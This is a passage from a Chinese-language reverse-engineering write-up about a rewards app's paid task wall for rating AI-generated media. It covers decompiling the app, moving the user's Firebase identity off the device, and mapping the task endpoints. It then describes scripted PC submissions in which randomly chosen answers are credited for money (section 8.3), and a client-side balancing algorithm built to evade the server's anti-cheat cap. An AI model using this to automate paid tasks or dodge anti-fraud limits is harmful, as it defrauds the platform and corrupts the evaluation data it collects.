&lt;h2&gt;5. 第三层：Dart AOT 方法体还原（blutter） {#section-6}&lt;/h2&gt;
&lt;p&gt;字符串层看不到方法体。要回答两个悬而未决的问题：① 自研完整性 attest 到底算了什么；② 任务/兑换接口的完整请求体。工具选 &lt;strong&gt;blutter&lt;/strong&gt;（针对 Dart AOT 的反编译器，按 Dart 版本和架构选择构建）——不选 Frida 是因为这里需要的是&lt;strong&gt;离线、可复跑、可引用到报告&lt;/strong&gt;的方法体还原，而不是动态 hook。&lt;/p&gt;
&lt;p&gt;blutter 输出对象池（&lt;code&gt;objs.txt&lt;/code&gt;）、伪汇编（&lt;code&gt;asm/&lt;/code&gt;）等信息。按字符串索引直接定位到 &lt;code&gt;services/integrity_service.dart&lt;/code&gt; 的 &lt;code&gt;IntegrityService&lt;/code&gt;，方法体逐步还原如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ensureAttested()
if (DateTime.now().difference(this._lastAttest) &amp;lt; kCacheDuration) return Future.value(true);
return _attest().whenComplete(() =&amp;gt; this._pending = null);

// _attest() —— 完整流程
1. user  = FirebaseAuth.instanceFor(app: Firebase.app()).currentUser;  if null -&amp;gt; false
2. idToken = await user.getIdToken();                                  if null -&amp;gt; false
3. POST /api/integrity/nonce/     (Bearer idToken)  -&amp;gt; rawNonce
4. token = await MethodChannel(&quot;&amp;lt;app&amp;gt;/integrity&quot;).invokeMethod(
              &quot;requestToken&quot;, {&quot;nonce&quot;: rawNonce});      // ★ 原生侧生成，见下
5. POST /api/integrity/attest/    (Bearer idToken, body {&quot;integrity_token&quot;: token})
   -&amp;gt; {&quot;ok&quot;: true}  -&amp;gt; 仅在内存缓存时间戳，不落盘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;★ 关键发现&lt;/strong&gt;：在检查过的 DEX 与原生库中，未找到 &lt;code&gt;MethodChannel(&quot;&amp;lt;app&amp;gt;/integrity&quot;)&lt;/code&gt; 的接收方。结合 §3.2 的 pairip 包装和完整性配置，&lt;strong&gt;我推测&lt;/strong&gt;该通道由运行时组件提供，可能封装 Play Integrity API（nonce → verdict token）。仅凭当前材料无法证明具体实现位于哪个组件，因此这里保留为推断。&lt;/p&gt;
&lt;p&gt;这个判定的分量很重，它直接切断了后面所有&quot;用脚本伪造 attest&quot;的幻想：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;该 token 只能由真实设备上的真实 App 实例产生。&lt;/strong&gt; 普通 HTTP 客户端、模拟器、重打包包都无法复现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;顺带还原的还有兑换接口 &lt;code&gt;RewardsApi.claimWithTasks&lt;/code&gt; 的完整链路：先 &lt;code&gt;ensureAttested()&lt;/code&gt;（内部还会再调一次），再 &lt;code&gt;POST /api/rewards/claim-with-tasks/&lt;/code&gt;，&lt;strong&gt;headers 只有 &lt;code&gt;Authorization: Bearer &amp;lt;Firebase ID Token&amp;gt;&lt;/code&gt;&lt;/strong&gt;，body 为 &lt;code&gt;{country_code, data_mb, recipient_email, customer_name}&lt;/code&gt;——注意它&lt;strong&gt;不携带 integrity_token&lt;/strong&gt;，说明 attestation 是&lt;strong&gt;服务端会话状态&lt;/strong&gt;（attest ok 之后端按 uid 打了时间窗标记），不是每请求签名。这个细节决定了风险模型的形状：门禁是一次性的、有缓存窗口的，但普通客户端依然过不了。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 认证体系：把身份从设备里&quot;迁出来&quot; {#section-7}&lt;/h2&gt;
&lt;p&gt;任务协议本身（§7）只认 &lt;code&gt;Authorization: Bearer &amp;lt;Firebase ID Token&amp;gt;&lt;/code&gt;。于是核心工程问题变成：&lt;strong&gt;如何在手机不参与的情况下，长期持有有效的 Firebase 身份？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先静态还原登录链（Dart 源码路径 + blutter 产物交叉）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auth_wrapper.dart : _AuthWrapperState::_signInWithGoogle
  -&amp;gt; GoogleSignIn.signIn (google_sign_in_android)
  -&amp;gt; GoogleSignInAuthentication { idToken, serverAuthCode }
  -&amp;gt; FirebaseAuthHostApi.signInWithCredential
  -&amp;gt; FirebaseAuth.instanceFor().currentUser.getIdToken()   // 全 App 到处都用它
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.1 后端账号体系探测（全部只读）&lt;/h3&gt;
&lt;p&gt;在动手搬凭据之前，先把 Firebase 项目的认证配置面摸清楚（用的是公开客户端配置 + 未认证接口的错误行为推断）：&lt;/p&gt;
&lt;p&gt;|
探测 |
结果 |
解读 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;getProjectConfig?key=&amp;lt;apiKey&amp;gt;&lt;/code&gt; |
200，&lt;code&gt;authorizedDomains&lt;/code&gt; = &lt;code&gt;localhost&lt;/code&gt;、&lt;code&gt;&amp;lt;proj&amp;gt;.firebaseapp.com&lt;/code&gt;、&lt;code&gt;&amp;lt;proj&amp;gt;.web.app&lt;/code&gt;、某管理后台、官方站 |
&lt;strong&gt;&lt;code&gt;localhost&lt;/code&gt; 在授权域里&lt;/strong&gt;——这是免 root 路线的支点 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;GET &amp;lt;proj&amp;gt;.firebaseapp.com/__/auth/handler&lt;/code&gt; |
200，真实 Firebase Auth Handler 页面（含 &lt;code&gt;fireauth.oauthhelper.widget.initialize()&lt;/code&gt;） |
官方 handler 在线可用 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;signInWithIdp&lt;/code&gt; 带假 token |
&lt;code&gt;INVALID_IDP_RESPONSE: Unable to parse Google id_token&lt;/code&gt; |
Google 登录&lt;strong&gt;已启用&lt;/strong&gt;（若被禁用是 &lt;code&gt;OPERATION_NOT_ALLOWED&lt;/code&gt;） |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;accounts:signUp&lt;/code&gt;（空 body） |
&lt;code&gt;ADMIN_ONLY_OPERATION&lt;/code&gt; |
邮箱密码注册关闭——&lt;strong&gt;Google 登录是唯一交互路径&lt;/strong&gt;，反而简化了攻击面 |&lt;/p&gt;
&lt;p&gt;|
RTDB &lt;code&gt;/.json?shallow=true&lt;/code&gt; |
&lt;strong&gt;401&lt;/strong&gt; |
规则锁定，anonymous 读不到 &lt;code&gt;tasks_config&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
Firestore 七种猜测配置路径 |
&lt;strong&gt;全部 403&lt;/strong&gt; |
同上。apiKey 只能来自 App 端认证读取 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一个重要的负面结论&lt;/strong&gt;：直连数据库的路不存在。所有数据面都必须走认证态。这让&quot;认证移植&quot;从可选动作变成了必答题。&lt;/p&gt;
&lt;h3&gt;6.2 路线一（root）：核对设备上的认证状态&lt;/h3&gt;
&lt;p&gt;在本人已 root 的测试设备上，我核对了 Google 登录缓存与 Firebase 会话的区别，再通过 Firebase 的标准身份交换流程验证：Google 登录令牌可换得 Firebase 会话，后者包含短期 ID Token 和可续期的 Refresh Token。实测返回 HTTP 200。&lt;/p&gt;
&lt;p&gt;这里最容易犯的错误是把两种令牌混为一谈：它们的签发方、用途和生命周期不同。公开版只保留这个协议结论与响应状态，不提供从设备存储提取凭据的命令或真实令牌。&lt;/p&gt;
&lt;h3&gt;6.3 路线二（免 root）：把浏览器变成一个&quot;合法 origin&quot;&lt;/h3&gt;
&lt;p&gt;没有 root 设备的情况下，思路是：&lt;strong&gt;利用 &lt;code&gt;localhost&lt;/code&gt; 在 &lt;code&gt;authorizedDomains&lt;/code&gt; 里这一事实，在本地跑一个小页面，让用户用自己的浏览器完成一次真实的 Google 授权&lt;/strong&gt;（Firebase 官方推荐的 localhost 开发流）。&lt;/p&gt;
&lt;p&gt;这个方案的每一块都得实测，我把它拆成可独立验证的小实验——&lt;strong&gt;这是整个项目里最有&quot;考古感&quot;的部分&lt;/strong&gt;，因为大部分结论是从错误码的反行为里推出来的：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验 A：redirect_uri 枚举。&lt;/strong&gt; Google OAuth 侧只登记了一个 redirect_uri。把各种候选喂给 &lt;code&gt;accounts.google.com/o/oauth2/auth&lt;/code&gt;（关自动重定向看响应）：&lt;/p&gt;
&lt;p&gt;|
redirect_uri 候选 |
Google 的响应 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;https://&amp;lt;proj&amp;gt;.firebaseapp.com/__/auth/handler&lt;/code&gt; |
&lt;strong&gt;302 → 账号选择页（放行）&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;https://&amp;lt;proj&amp;gt;.web.app/__/auth/handler&lt;/code&gt; |
&lt;code&gt;redirect_uri_mismatch&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;http://localhost:8765/__/auth/handler&lt;/code&gt; |
&lt;code&gt;redirect_uri_mismatch&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;http://127.0.0.1:8765/callback&lt;/code&gt; |
&lt;code&gt;redirect_uri_mismatch&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;urn:ietf:wg:oauth:2.0:oob&lt;/code&gt; |
&lt;code&gt;redirect_uri_mismatch&lt;/code&gt;（提示&quot;只能用于原生应用客户端&quot;） |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：自建回调地址全部走不通；但官方 Firebase Web SDK 的 redirect_uri &lt;strong&gt;本来就是&lt;/strong&gt; handler 自身，天然放行。所以不用去&quot;加回调&quot;，顺着官方流走就行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验 B：origin 授权域。&lt;/strong&gt; Firefox Auth JS SDK 在调用 &lt;code&gt;signInWithPopup&lt;/code&gt; 时校验页面 origin：&lt;/p&gt;
&lt;p&gt;|
origin |
结果 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;http://127.0.0.1:8899&lt;/code&gt; |
&lt;code&gt;auth/unauthorized-domain&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;http://localhost:8899&lt;/code&gt; |
成功构造 handler URL，随后 &lt;code&gt;auth/popup-closed-by-user&lt;/code&gt;（因为测试桩关了假弹窗） |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意 &lt;code&gt;auth/popup-closed-by-user&lt;/code&gt; 在这里是正向信号&lt;/strong&gt;：它说明 origin 校验已通过、handler URL 已构造、链路只差一次真实的人工点击。把错误码当探针用，是灰盒测试的基本功。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验 C：provider 状态&lt;/strong&gt;（见 §6.1 表）+ &lt;strong&gt;实验 D：handler 的 state 依赖&lt;/strong&gt;。我尝试过 headless 直 GET handler 带假 code，得到 &lt;code&gt;Unable to process request due to missing initial state&lt;/code&gt;——handler 的 state 存在同 origin 的 sessionStorage 里，&lt;strong&gt;假 code 驱动不了真 handler&lt;/strong&gt;。判定：这一环不可脱离真实浏览器，但也不影响正式用户流（SDK 会自动完成）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验 E（真实端到端）&lt;/strong&gt;：&lt;code&gt;localhost:8899&lt;/code&gt; 起本地服务 + 页面内 Firebase JS SDK，真人点一次 Google 账号授权 → 页面拿到 Google idToken → 立即 &lt;code&gt;signInWithIdp&lt;/code&gt; 兑换 → 长期 Refresh Token 落盘。&lt;strong&gt;一次通过。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;过程中的两个真实故障&lt;/strong&gt;（都记了档）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后台进程被工具会话杀掉&lt;/strong&gt;：早期用 &lt;code&gt;Start-Job&lt;/code&gt; 起的本地服务随分析会话一起退出，浏览器满脸问号&quot;localhost 拒绝了连接&quot;。修正：改用独立进程启动（&lt;code&gt;Start-Process -WindowStyle Hidden&lt;/code&gt;），并写了个轮询脚本盯端口和凭据状态。教训：&lt;strong&gt;托管方式本身就是实验变量&lt;/strong&gt;，别让工具的副作用污染结论。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TUN/fakeip 代理下整页跳转丢状态&lt;/strong&gt;：&lt;code&gt;signInWithRedirect&lt;/code&gt; 的完整回跳链路（localhost → handler → Google → localhost）回来后 &lt;code&gt;getRedirectResult&lt;/code&gt; 返回 null。判定为代理改写/延迟导致 Firebase 的 pending-redirect state 丢失，而非授权域问题。修正：页面改用 &lt;strong&gt;&lt;code&gt;signInWithPopup&lt;/code&gt;&lt;/strong&gt;（postMessage 回传，不经过 Location 跳转），一次成功。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;凭据落盘的安全设计&lt;/strong&gt;（这部分是写给将来的自己看的，日志里也绝不能露）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _atomic_write(path, text):
    &quot;&quot;&quot;tempfile + os.replace 原子替换；权限收窄到仅当前用户&quot;&quot;&quot;
    fd, tmp = tempfile.mkstemp(prefix=&quot;.tok-&quot;, dir=os.path.dirname(path) or &quot;.&quot;)
    try:
        with os.fdopen(fd, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
            f.write(text)
        os.replace(tmp, path)              # 同目录原子替换，无半截文件窗口
    finally:
        if os.path.exists(tmp):
            os.unlink(tmp)
    try:
        os.chmod(path, 0o600)              # POSIX 600
    except OSError:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Windows 上再加一层：DPAPI（CurrentUser）加密落盘、&lt;code&gt;icacls /inheritance:r /grant:r &amp;lt;user&amp;gt;&lt;/code&gt; 收窄 ACL、明文字令即删。自测过 protect → check → emit 全流程：&lt;code&gt;check&lt;/code&gt; 只输出 uid/token 的 SHA-256 摘要与长度，&lt;strong&gt;CLI 红线：任何子命令都不打印 token 明文&lt;/strong&gt;。凭据文件与目录全部进 &lt;code&gt;.gitignore&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;6.4 三条路线的统一：两种会话模式&lt;/h3&gt;
&lt;p&gt;凭据来源归一后，客户端支持两种会话，接口完全一致：&lt;/p&gt;
&lt;p&gt;|
模式 |
凭据 |
续期方式 |
适用 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;Session&lt;/code&gt;（长期） |
&lt;code&gt;refresh_token.txt&lt;/code&gt; |
&lt;code&gt;securetoken&lt;/code&gt; 每小时自动刷新，提前 2 分钟 |
会话持续性验证 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;DirectSession&lt;/code&gt;（直连） |
&lt;code&gt;direct_token.txt&lt;/code&gt;（1h Firebase ID Token） |
过期需重新粘贴/抓包 |
临时应急 |&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _refresh(self):
    body = f&quot;grant_type=refresh_token&amp;amp;refresh_token={self.refresh_token}&quot;.encode()
    req = _mkreq(config.refresh_url(), data=body,
                 headers={&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;})
    with socks.open_url(req, timeout=config.TOKEN_TIMEOUT) as r:
        d = json.loads(r.read())
    # 刷新令牌可能轮换，持久化最新的
    if d.get(&quot;refresh_token&quot;) and d[&quot;refresh_token&quot;] != self.refresh_token:
        self.refresh_token = d[&quot;refresh_token&quot;]
        _restrict_write(REFRESH_TOKEN_FILE, self.refresh_token)
    self.id_token = d[&quot;id_token&quot;]
    self.exp = time.time() + int(d.get(&quot;expires_in&quot;, 3600))
    return self.id_token

def token(self):
    &quot;&quot;&quot;始终返回有效 idToken（提前 2 分钟续期）&quot;&quot;&quot;
    if not self.id_token or time.time() &amp;gt; self.exp - 120:
        self._refresh()
    return self.id_token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个细节：&lt;strong&gt;提前 2 分钟续期&lt;/strong&gt;避免临界提交时 401；&lt;strong&gt;轮换后的 refresh token 重新原子落盘&lt;/strong&gt;——否则一次轮换就可能把长期凭据弄丢。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 任务协议：从 WebView 内联 JS 到三个端点 {#section-8}&lt;/h2&gt;
&lt;p&gt;认证通道打通后，剩下的就是纯协议工作了。任务墙是自家后端的&lt;strong&gt;内联 JS 页面&lt;/strong&gt;（约 40 KB，明文），URL 形如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://&amp;lt;app-backend&amp;gt;.example/api/tasks/wall/#token=&amp;lt;Firebase ID Token&amp;gt;&amp;amp;bridge=1&amp;amp;caps=volume&amp;amp;platform=android&amp;amp;lang=zh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;页面从 URL fragment 读取 token。fragment 通常不会作为 HTTP 请求路径发送到服务器，但&lt;strong&gt;仍可能留在浏览器历史或客户端日志中&lt;/strong&gt;，不能视为安全存储。之后 API 调用带 &lt;code&gt;Authorization: Bearer &amp;lt;idToken&amp;gt;&lt;/code&gt; 和 &lt;code&gt;Content-Type: application/json&lt;/code&gt;；401 时页面尝试通过桥接通道刷新会话。&lt;/p&gt;
&lt;h3&gt;7.1 三个端点，一张表读完全部协议&lt;/h3&gt;
&lt;p&gt;|
端点 |
方法 |
请求体 |
响应（关键字段） |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;/api/tasks/wall/status/&lt;/code&gt; |
GET |
— |
&lt;code&gt;{enabled, balance_usd, tasks_completed, window:{used,max,resets_at}, today:{used,max}}&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;/api/tasks/wall/assign/&lt;/code&gt; |
POST |
&lt;code&gt;{lang, caps}&lt;/code&gt; |
&lt;code&gt;{success, assignment_id, task:{task_id, type, min_seconds, value_usd, payload:{question, media_a, media_b, poster_a, poster_b, gen_prompt, attention:{...}}}}&lt;/code&gt;，或限制响应 &lt;code&gt;{reason: side_capped/window_capped/daily_capped, blocked_side, retry_at}&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;/api/tasks/wall/submit/&lt;/code&gt; |
POST |
&lt;code&gt;{assignment_id, answer, attn_answer, watched}&lt;/code&gt; |
&lt;code&gt;{success, outcome: credited/too_fast/too_soon/attention_failed, credited, value_usd, balance_usd, retry_in}&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;任务类型三种：&lt;code&gt;image_choice&lt;/code&gt; / &lt;code&gt;video_choice&lt;/code&gt; / &lt;code&gt;audio_choice&lt;/code&gt;（audio 题会把 &lt;code&gt;gen_prompt&lt;/code&gt; 藏起来当作 attention 检查句——原来它还有个&quot;你有没有在听&quot;的功能）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一次 assign 的真实响应&lt;/strong&gt;（脱敏后）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;success&quot;: true,
 &quot;assignment_id&quot;: &quot;&amp;lt;assignment-id&amp;gt;&quot;,
 &quot;task&quot;: {&quot;task_id&quot;: &quot;&amp;lt;task-id&amp;gt;&quot;, &quot;type&quot;: &quot;video_choice&quot;, &quot;lang&quot;: &quot;any&quot;,
   &quot;payload&quot;: {
     &quot;question&quot;: &quot;Which video matches the prompt better?&quot;,
     &quot;media_a&quot;: &quot;https://&amp;lt;oss&amp;gt;.example/&amp;lt;app&amp;gt;/evals/vid1/.../video-037.mp4&quot;,
     &quot;media_b&quot;: &quot;https://&amp;lt;oss&amp;gt;.example/&amp;lt;app&amp;gt;/evals/vid1/.../video-037.mp4&quot;,
     &quot;poster_a&quot;: &quot;...jpg&quot;, &quot;poster_b&quot;: &quot;...jpg&quot;,
     &quot;duration_a&quot;: 8.042, &quot;duration_b&quot;: 8.042,
     &quot;gen_prompt&quot;: &quot;一名女子在行走，一头牛正在吃草&quot;,
     &quot;prompt_lang&quot;: &quot;zh&quot;,
     &quot;attention&quot;: {&quot;x&quot;: 10, &quot;y&quot;: 9, &quot;op&quot;: &quot;-&quot;, &quot;options&quot;: [5,2,9,1], &quot;kind&quot;: &quot;math&quot;}},
   &quot;min_seconds&quot;: 32, &quot;value_usd&quot;: 0.012}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个可直接读出的事实：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;task_id&lt;/code&gt; 具有「类型、题号、模型版本」的结构，和论坛截图中的格式一致。这支持“两者使用相似任务协议”的判断，但单靠 ID 结构还不能证明账号或服务端完全相同；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;素材是对象存储直链，视频题带海报帧和时长；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;attention&lt;/code&gt; 是 100 以内加减法，答案必在 &lt;code&gt;options&lt;/code&gt; 里；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;min_seconds&lt;/code&gt;（本例 32s）由&lt;strong&gt;服务端下发&lt;/strong&gt;，&lt;code&gt;value_usd&lt;/code&gt; 每题固定 $0.012。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 attention：服务端下发的算术检查&lt;/h3&gt;
&lt;p&gt;任务响应包含一道简短的算术检查，提交时需带 &lt;code&gt;attn_answer&lt;/code&gt;。有限样本中，这项检查没有拒绝正确答案。它能验证请求者是否完成了这一步计算，但不能据此推断服务端拥有可靠的人类行为验证。&lt;/p&gt;
&lt;h3&gt;7.3 「等待 30 秒」的真相与反作弊语义&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;时限&lt;/strong&gt;：&lt;code&gt;min_seconds&lt;/code&gt; 服务端下发（样本中约 30~40 秒）；提前提交会得到 &lt;code&gt;too_fast&lt;/code&gt; 和 &lt;code&gt;retry_in&lt;/code&gt;。这证明时限至少部分由服务端校验，不能仅凭客户端倒计时作判断。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;媒体消费&lt;/strong&gt;：视频题媒体 1x 倍速锁定、禁拖进度、&lt;code&gt;watched&lt;/code&gt; 字段上报覆盖率；audio 题检测音量。但实测发现：&lt;strong&gt;不携带 &lt;code&gt;watched&lt;/code&gt; 字段也照常 credited&lt;/strong&gt;——覆盖率上报非强制。这是典型的&quot;客户端有采集、服务端未强校验&quot;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;频率限制&lt;/strong&gt;（服务端响应中的口径）：小时窗口 &lt;code&gt;window.max = 60&lt;/code&gt;，日上限 &lt;code&gt;today.max = 200&lt;/code&gt;。这些数字说明服务端有配额控制；不能把配额误读成允许自动化提交的许可。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.4 限流语义：把&quot;服务端在说话&quot;和&quot;客户端出错了&quot;分开&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;assign&lt;/code&gt; 拿不到任务时，响应是有限流语义的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;success&quot;: true, &quot;reason&quot;: &quot;side_capped&quot;, &quot;blocked_side&quot;: &quot;a&quot;, &quot;retry_at&quot;: &quot;2026-09-22T18:40:00Z&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;side_capped&lt;/code&gt; 的发现过程很有意思：长时间跑之后 A 侧被锁——&lt;strong&gt;服务端在强制 A/B 两个选项的分布均衡&lt;/strong&gt;（防止全选一边刷）。这直接催生了客户端的配平算法（§9.5）。处理限流响应的核心原则：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;{success:true, reason:...}&lt;/code&gt; 是&lt;strong&gt;服务端决策&lt;/strong&gt;，按 reason 退避即可；只有真异常（非 dict、缺字段、空响应）才值得报警和重试。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;7.5 与第三方 DP 平台的关系：一次排除误判&lt;/h3&gt;
&lt;p&gt;静态阶段我花了些力气在 DP 协议上（&lt;code&gt;task_bundle&lt;/code&gt; / &lt;code&gt;record_task_bundle&lt;/code&gt; 也是纯 HTTP + Bearer session_token，同样无每请求设备证明）。动态阶段（§4.1/§4.5）证明本账号根本不走 DP。最终定位：DP 是产品的&lt;strong&gt;备选任务提供方&lt;/strong&gt;（Firestore &lt;code&gt;tasks_provider&lt;/code&gt; 切换），且其 session 来自 SDK 初始化、短期有效，&lt;strong&gt;与 Firebase 凭据不等价&lt;/strong&gt;（曾有人误以为导出 DP session 就能替代登录——排除之）。&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;复盘要点：&lt;strong&gt;两条相似的技术路线，先证明&quot;这条没走&quot;，再走另一条。&lt;/strong&gt; 把排除过程也写进证据链（EVIDENCE §8），后来人不用重跑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 验证路径：只读、单题与有限观察 {#section-9}&lt;/h2&gt;
&lt;p&gt;协议结构明确后，我按风险递增的顺序验证：先读状态，再做一次受控提交，最后记录有限时段的服务端反馈。每一步都单独记账，避免把一次成功外推为长期可靠或平台许可。&lt;/p&gt;
&lt;h3&gt;8.1 V0：只读客户端&lt;/h3&gt;
&lt;p&gt;PC 直连，无手机参与，凭据是一次性 Google 登录换出的 Refresh Token：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET  /api/tasks/wall/status/        (Bearer: Firebase ID Token)
-&amp;gt; HTTP 200
{&quot;enabled&quot;: true, &quot;balance_usd&quot;: 0.1586, &quot;tasks_completed&quot;: 13,
 &quot;window&quot;: {&quot;used&quot;: 13, &quot;max&quot;: 60, &quot;resets_at&quot;: &quot;...&quot;},
 &quot;today&quot;:  {&quot;used&quot;: 13, &quot;max&quot;: 200}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一时刻另外两个可移植性观测：Refresh Token → &lt;code&gt;securetoken&lt;/code&gt; 换新 ID Token &lt;strong&gt;HTTP 200&lt;/strong&gt;，&lt;code&gt;expires_in=3600&lt;/code&gt;，且 refresh token 稳定不轮换；Google idToken → &lt;code&gt;signInWithIdp&lt;/code&gt; 同样 200。&lt;strong&gt;三条基础事实全部在纯 PC 环境成立&lt;/strong&gt;，&quot;脱离手机&quot;从假设变成事实。&lt;/p&gt;
&lt;h3&gt;8.2 第一次单题闭环&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;assign   : &amp;lt;task-id&amp;gt; (video_choice, min_seconds=32, value_usd=$0.012)
素材     : 两个 S3 视频直链（2.39MB / 7.83MB）+ 海报帧
attention: 10 - 9 = 1（本地求解）
判断     : 人工 + VLM 海报帧比对 -&amp;gt; B
submit   : {&quot;assignment_id&quot;: &quot;...&quot;, &quot;answer&quot;: &quot;b&quot;, &quot;attn_answer&quot;: 1}
响应     : {&quot;success&quot;: true, &quot;outcome&quot;: &quot;credited&quot;, &quot;credited&quot;: true,
            &quot;value_usd&quot;: 0.012, &quot;balance_usd&quot;: 0.1706}
结果     : balance $0.1586 -&amp;gt; $0.1706 (+$0.0120)，tasks_completed 13 -&amp;gt; 14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;脱离手机的完整任务闭环（assign → submit → credited）成立。&lt;/strong&gt; 同时验证了两个边界：&lt;code&gt;min_seconds&lt;/code&gt; 到期后提交未被拒；不携带 &lt;code&gt;watched&lt;/code&gt; 也正常 credited。&lt;/p&gt;
&lt;h3&gt;8.3 有限时段观察与一个关键发现&lt;/h3&gt;
&lt;p&gt;在一个有限时段内，测试客户端记录到以下结果。发现异常后停止了这项验证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;提交 17 题，17/17 credited（A/B 随机选择）
余额 $0.1706 -&amp;gt; $0.4106（+$0.24，与任务数严格线性）
节奏 ~40s/题（assign + min_seconds 等待 + submit），window 34/60
无 too_fast、无 401、无网络错误
attention 本地求解 100% 正确
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键观察&lt;/strong&gt;：随机答案也获得了 credited。这是一个需要报告的校验缺口信号，不代表这些答案有质量，也不能据此继续累积有报酬的提交。两种解释仍可能并存：(a) 当前接口只验证流程条件；(b) 质量评分在后续阶段体现，未出现在即时响应中。&lt;/p&gt;
&lt;p&gt;当时无法区分，因此我把质量评分是否存在标为 &lt;strong&gt;UNKNOWN&lt;/strong&gt;。这也是做逆向的基本态度：&lt;strong&gt;把未证实的猜测留在假设栏，不把即时记账当成质量验证的证据&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. 工程化：从一个能跑的脚本到一个可维护的系统 {#section-10}&lt;/h2&gt;
&lt;p&gt;协议验证很快跑通，但可重复的研究工具仍需要错误分类、状态保存和可控的测试环境。下面是逐项整理过程。&lt;/p&gt;
&lt;h3&gt;9.1 架构总览&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;main.py ──┬── status / once / loop        CLI 三件套
          ├── verify                      受控验证流程（状态记录 / 中断恢复）
          ├── console                     终端交互菜单
          └── web                         Web 控制台（默认 127.0.0.1:8787）

core/
├── session.py    Session(长期续期) / DirectSession(1h 直连)
